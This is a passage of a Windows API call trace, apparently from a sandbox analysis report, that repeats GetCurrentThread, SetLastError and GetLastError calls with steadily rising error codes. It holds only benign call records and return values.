returned 0x5 [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x9) [0259.416] GetLastError () returned 0x9 [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0xd) [0259.416] GetLastError () returned 0xd [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x11) [0259.416] GetLastError () returned 0x11 [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x15) [0259.416] GetLastError () returned 0x15 [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x19) [0259.416] GetLastError () returned 0x19 [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x1d) [0259.416] GetLastError () returned 0x1d [0259.416] GetCurrentThread () returned 0xfffffffe [0259.416] SetLastError (dwErrCode=0x21) [0259.417] GetLastError () returned 0x21 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x25) [0259.417] GetLastError () returned 0x25 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x29) [0259.417] GetLastError () returned 0x29 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x2d) [0259.417] GetLastError () returned 0x2d [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x31) [0259.417] GetLastError () returned 0x31 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x35) [0259.417] GetLastError () returned 0x35 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x39) [0259.417] GetLastError () returned 0x39 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x3d) [0259.417] GetLastError () returned 0x3d [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x41) [0259.417] GetLastError () returned 0x41 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x45) [0259.417] GetLastError () returned 0x45 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x49) [0259.417] GetLastError () returned 0x49 [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x4d) [0259.417] GetLastError () returned 0x4d [0259.417] GetCurrentThread () returned 0xfffffffe [0259.417] SetLastError (dwErrCode=0x51) [0259.418] GetLastError () returned 0x51 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x55) [0259.418] GetLastError () returned 0x55 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x59) [0259.418] GetLastError () returned 0x59 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x5d) [0259.418] GetLastError () returned 0x5d [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x61) [0259.418] GetLastError () returned 0x61 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x65) [0259.418] GetLastError () returned 0x65 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x69) [0259.418] GetLastError () returned 0x69 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x6d) [0259.418] GetLastError () returned 0x6d [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x71) [0259.418] GetLastError () returned 0x71 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x75) [0259.418] GetLastError () returned 0x75 [0259.418] GetCurrentThread () returned 0xfffffffe [0259.418] SetLastError (dwErrCode=0x79) [0259.418] GetLastError () returned 0x79 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x7d) [0259.419] GetLastError () returned 0x7d [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x81) [0259.419] GetLastError () returned 0x81 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x85) [0259.419] GetLastError () returned 0x85 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x89) [0259.419] GetLastError () returned 0x89 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x8d) [0259.419] GetLastError () returned 0x8d [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x91) [0259.419] GetLastError () returned 0x91 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x95) [0259.419] GetLastError () returned 0x95 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x99) [0259.419] GetLastError () returned 0x99 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0x9d) [0259.419] GetLastError () returned 0x9d [0259.419] GetCurrentThread () returned 0xfffffffe [0259.419] SetLastError (dwErrCode=0xa1) [0259.419] GetLastError () returned 0xa1 [0259.419] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xa5) [0259.420] GetLastError () returned 0xa5 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xa9) [0259.420] GetLastError () returned 0xa9 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xad) [0259.420] GetLastError () returned 0xad [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xb1) [0259.420] GetLastError () returned 0xb1 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xb5) [0259.420] GetLastError () returned 0xb5 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xb9) [0259.420] GetLastError () returned 0xb9 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xbd) [0259.420] GetLastError () returned 0xbd [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xc1) [0259.420] GetLastError () returned 0xc1 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xc5) [0259.420] GetLastError () returned 0xc5 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xc9) [0259.420] GetLastError () returned 0xc9 [0259.420] GetCurrentThread () returned 0xfffffffe [0259.420] SetLastError (dwErrCode=0xcd) [0259.420] GetLastError () returned 0xcd [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xd1) [0259.421] GetLastError () returned 0xd1 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xd5) [0259.421] GetLastError () returned 0xd5 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xd9) [0259.421] GetLastError () returned 0xd9 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xdd) [0259.421] GetLastError () returned 0xdd [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xe1) [0259.421] GetLastError () returned 0xe1 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xe5) [0259.421] GetLastError () returned 0xe5 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xe9) [0259.421] GetLastError () returned 0xe9 [0259.421] GetCurrentThread () returned 0xfffffffe [0259.421] SetLastError (dwErrCode=0xed) [0259.422] GetLastError () returned 0xed [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0xf1) [0259.422] GetLastError () returned 0xf1 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0xf5) [0259.422] GetLastError () returned 0xf5 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0xf9) [0259.422] GetLastError () returned 0xf9 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0xfd) [0259.422] GetLastError () returned 0xfd [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x101) [0259.422] GetLastError () returned 0x101 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x105) [0259.422] GetLastError () returned 0x105 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x109) [0259.422] GetLastError () returned 0x109 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x10d) [0259.422] GetLastError () returned 0x10d [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x111) [0259.422] GetLastError () returned 0x111 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x115) [0259.422] GetLastError () returned 0x115 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.422] SetLastError (dwErrCode=0x119) [0259.422] GetLastError () returned 0x119 [0259.422] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x11d) [0259.423] GetLastError () returned 0x11d [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x121) [0259.423] GetLastError () returned 0x121 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x125) [0259.423] GetLastError () returned 0x125 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x129) [0259.423] GetLastError () returned 0x129 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x12d) [0259.423] GetLastError () returned 0x12d [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x131) [0259.423] GetLastError () returned 0x131 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x135) [0259.423] GetLastError () returned 0x135 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x139) [0259.423] GetLastError () returned 0x139 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x13d) [0259.423] GetLastError () returned 0x13d [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x141) [0259.423] GetLastError () returned 0x141 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x145) [0259.423] GetLastError () returned 0x145 [0259.423] GetCurrentThread () returned 0xfffffffe [0259.423] SetLastError (dwErrCode=0x149) [0259.423] GetLastError () returned 0x149 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x14d) [0259.424] GetLastError () returned 0x14d [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x151) [0259.424] GetLastError () returned 0x151 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x155) [0259.424] GetLastError () returned 0x155 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x159) [0259.424] GetLastError () returned 0x159 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x15d) [0259.424] GetLastError () returned 0x15d [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x161) [0259.424] GetLastError () returned 0x161 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x165) [0259.424] GetLastError () returned 0x165 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x169) [0259.424] GetLastError () returned 0x169 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x16d) [0259.424] GetLastError () returned 0x16d [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x171) [0259.424] GetLastError () returned 0x171 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x175) [0259.424] GetLastError () returned 0x175 [0259.424] GetCurrentThread () returned 0xfffffffe [0259.424] SetLastError (dwErrCode=0x179) [0259.424] GetLastError () returned 0x179 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x17d) [0259.425] GetLastError () returned 0x17d [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x181) [0259.425] GetLastError () returned 0x181 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x185) [0259.425] GetLastError () returned 0x185 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x189) [0259.425] GetLastError () returned 0x189 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x18d) [0259.425] GetLastError () returned 0x18d [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x191) [0259.425] GetLastError () returned 0x191 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x195) [0259.425] GetLastError () returned 0x195 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x199) [0259.425] GetLastError () returned 0x199 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x19d) [0259.425] GetLastError () returned 0x19d [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x1a1) [0259.425] GetLastError () returned 0x1a1 [0259.425] GetCurrentThread () returned 0xfffffffe [0259.425] SetLastError (dwErrCode=0x1a5) [0259.425] GetLastError () returned 0x1a5 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1a9) [0259.426] GetLastError () returned 0x1a9 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1ad) [0259.426] GetLastError () returned 0x1ad [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1b1) [0259.426] GetLastError () returned 0x1b1 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1b5) [0259.426] GetLastError () returned 0x1b5 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1b9) [0259.426] GetLastError () returned 0x1b9 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1bd) [0259.426] GetLastError () returned 0x1bd [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1c1) [0259.426] GetLastError () returned 0x1c1 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1c5) [0259.426] GetLastError () returned 0x1c5 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1c9) [0259.426] GetLastError () returned 0x1c9 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1cd) [0259.426] GetLastError () returned 0x1cd [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1d1) [0259.426] GetLastError () returned 0x1d1 [0259.426] GetCurrentThread () returned 0xfffffffe [0259.426] SetLastError (dwErrCode=0x1d5) [0259.427] GetLastError () returned 0x1d5 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1d9) [0259.427] GetLastError () returned 0x1d9 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1dd) [0259.427] GetLastError () returned 0x1dd [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1e1) [0259.427] GetLastError () returned 0x1e1 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1e5) [0259.427] GetLastError () returned 0x1e5 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1e9) [0259.427] GetLastError () returned 0x1e9 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1ed) [0259.427] GetLastError () returned 0x1ed [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1f1) [0259.427] GetLastError () returned 0x1f1 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1f5) [0259.427] GetLastError () returned 0x1f5 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1f9) [0259.427] GetLastError () returned 0x1f9 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x1fd) [0259.427] GetLastError () returned 0x1fd [0259.427] GetCurrentThread () returned 0xfffffffe [0259.427] SetLastError (dwErrCode=0x201) [0259.427] GetLastError () returned 0x201 [0259.427] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x205) [0259.428] GetLastError () returned 0x205 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x209) [0259.428] GetLastError () returned 0x209 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x20d) [0259.428] GetLastError () returned 0x20d [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x211) [0259.428] GetLastError () returned 0x211 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x215) [0259.428] GetLastError () returned 0x215 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x219) [0259.428] GetLastError () returned 0x219 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x21d) [0259.428] GetLastError () returned 0x21d [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x221) [0259.428] GetLastError () returned 0x221 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x225) [0259.428] GetLastError () returned 0x225 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x229) [0259.428] GetLastError () returned 0x229 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x22d) [0259.428] GetLastError () returned 0x22d [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x231) [0259.428] GetLastError () returned 0x231 [0259.428] GetCurrentThread () returned 0xfffffffe [0259.428] SetLastError (dwErrCode=0x235) [0259.429] GetLastError () returned 0x235 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x239) [0259.429] GetLastError () returned 0x239 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x23d) [0259.429] GetLastError () returned 0x23d [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x241) [0259.429] GetLastError () returned 0x241 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x245) [0259.429] GetLastError () returned 0x245 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x249) [0259.429] GetLastError () returned 0x249 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x24d) [0259.429] GetLastError () returned 0x24d [0259.429] GetCurrentThread () returned 0xfffffffe [0259.429] SetLastError (dwErrCode=0x251) [0259.429] GetLastError () returned 0x251 [0259.429] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x255) [0259.430] GetLastError () returned 0x255 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x259) [0259.430] GetLastError () returned 0x259 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x25d) [0259.430] GetLastError () returned 0x25d [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x261) [0259.430] GetLastError () returned 0x261 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x265) [0259.430] GetLastError () returned 0x265 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x269) [0259.430] GetLastError () returned 0x269 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x26d) [0259.430] GetLastError () returned 0x26d [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x271) [0259.430] GetLastError () returned 0x271 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x275) [0259.430] GetLastError () returned 0x275 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x279) [0259.430] GetLastError () returned 0x279 [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x27d) [0259.430] GetLastError () returned 0x27d [0259.430] GetCurrentThread () returned 0xfffffffe [0259.430] SetLastError (dwErrCode=0x281) [0259.431] GetLastError () returned 0x281 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x285) [0259.431] GetLastError () returned 0x285 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x289) [0259.431] GetLastError () returned 0x289 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x28d) [0259.431] GetLastError () returned 0x28d [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x291) [0259.431] GetLastError () returned 0x291 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x295) [0259.431] GetLastError () returned 0x295 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x299) [0259.431] GetLastError () returned 0x299 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x29d) [0259.431] GetLastError () returned 0x29d [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x2a1) [0259.431] GetLastError () returned 0x2a1 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x2a5) [0259.431] GetLastError () returned 0x2a5 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x2a9) [0259.431] GetLastError () returned 0x2a9 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x2ad) [0259.431] GetLastError () returned 0x2ad [0259.431] GetCurrentThread () returned 0xfffffffe [0259.431] SetLastError (dwErrCode=0x2b1) [0259.431] GetLastError () returned 0x2b1 [0259.431] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2b5) [0259.432] GetLastError () returned 0x2b5 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2b9) [0259.432] GetLastError () returned 0x2b9 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2bd) [0259.432] GetLastError () returned 0x2bd [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2c1) [0259.432] GetLastError () returned 0x2c1 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2c5) [0259.432] GetLastError () returned 0x2c5 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2c9) [0259.432] GetLastError () returned 0x2c9 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2cd) [0259.432] GetLastError () returned 0x2cd [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2d1) [0259.432] GetLastError () returned 0x2d1 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2d5) [0259.432] GetLastError () returned 0x2d5 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2d9) [0259.432] GetLastError () returned 0x2d9 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2dd) [0259.432] GetLastError () returned 0x2dd [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2e1) [0259.432] GetLastError () returned 0x2e1 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2e5) [0259.432] GetLastError () returned 0x2e5 [0259.432] GetCurrentThread () returned 0xfffffffe [0259.432] SetLastError (dwErrCode=0x2e9) [0259.432] GetLastError () returned 0x2e9 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x2ed) [0259.433] GetLastError () returned 0x2ed [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x2f1) [0259.433] GetLastError () returned 0x2f1 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x2f5) [0259.433] GetLastError () returned 0x2f5 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x2f9) [0259.433] GetLastError () returned 0x2f9 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x2fd) [0259.433] GetLastError () returned 0x2fd [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x301) [0259.433] GetLastError () returned 0x301 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x305) [0259.433] GetLastError () returned 0x305 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x309) [0259.433] GetLastError () returned 0x309 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x30d) [0259.433] GetLastError () returned 0x30d [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x311) [0259.433] GetLastError () returned 0x311 [0259.433] GetCurrentThread () returned 0xfffffffe [0259.433] SetLastError (dwErrCode=0x315) [0259.433] GetLastError () returned 0x315 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x319) [0259.434] GetLastError () returned 0x319 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x31d) [0259.434] GetLastError () returned 0x31d [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x321) [0259.434] GetLastError () returned 0x321 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x325) [0259.434] GetLastError () returned 0x325 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x329) [0259.434] GetLastError () returned 0x329 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x32d) [0259.434] GetLastError () returned 0x32d [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x331) [0259.434] GetLastError () returned 0x331 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x335) [0259.434] GetLastError () returned 0x335 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.434] SetLastError (dwErrCode=0x339) [0259.434] GetLastError () returned 0x339 [0259.434] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x33d) [0259.435] GetLastError () returned 0x33d [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x341) [0259.435] GetLastError () returned 0x341 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x345) [0259.435] GetLastError () returned 0x345 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x349) [0259.435] GetLastError () returned 0x349 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x34d) [0259.435] GetLastError () returned 0x34d [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x351) [0259.435] GetLastError () returned 0x351 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x355) [0259.435] GetLastError () returned 0x355 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x359) [0259.435] GetLastError () returned 0x359 [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x35d) [0259.435] GetLastError () returned 0x35d [0259.435] GetCurrentThread () returned 0xfffffffe [0259.435] SetLastError (dwErrCode=0x361) [0259.436] GetLastError () returned 0x361 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x365) [0259.436] GetLastError () returned 0x365 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x369) [0259.436] GetLastError () returned 0x369 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x36d) [0259.436] GetLastError () returned 0x36d [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x371) [0259.436] GetLastError () returned 0x371 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x375) [0259.436] GetLastError () returned 0x375 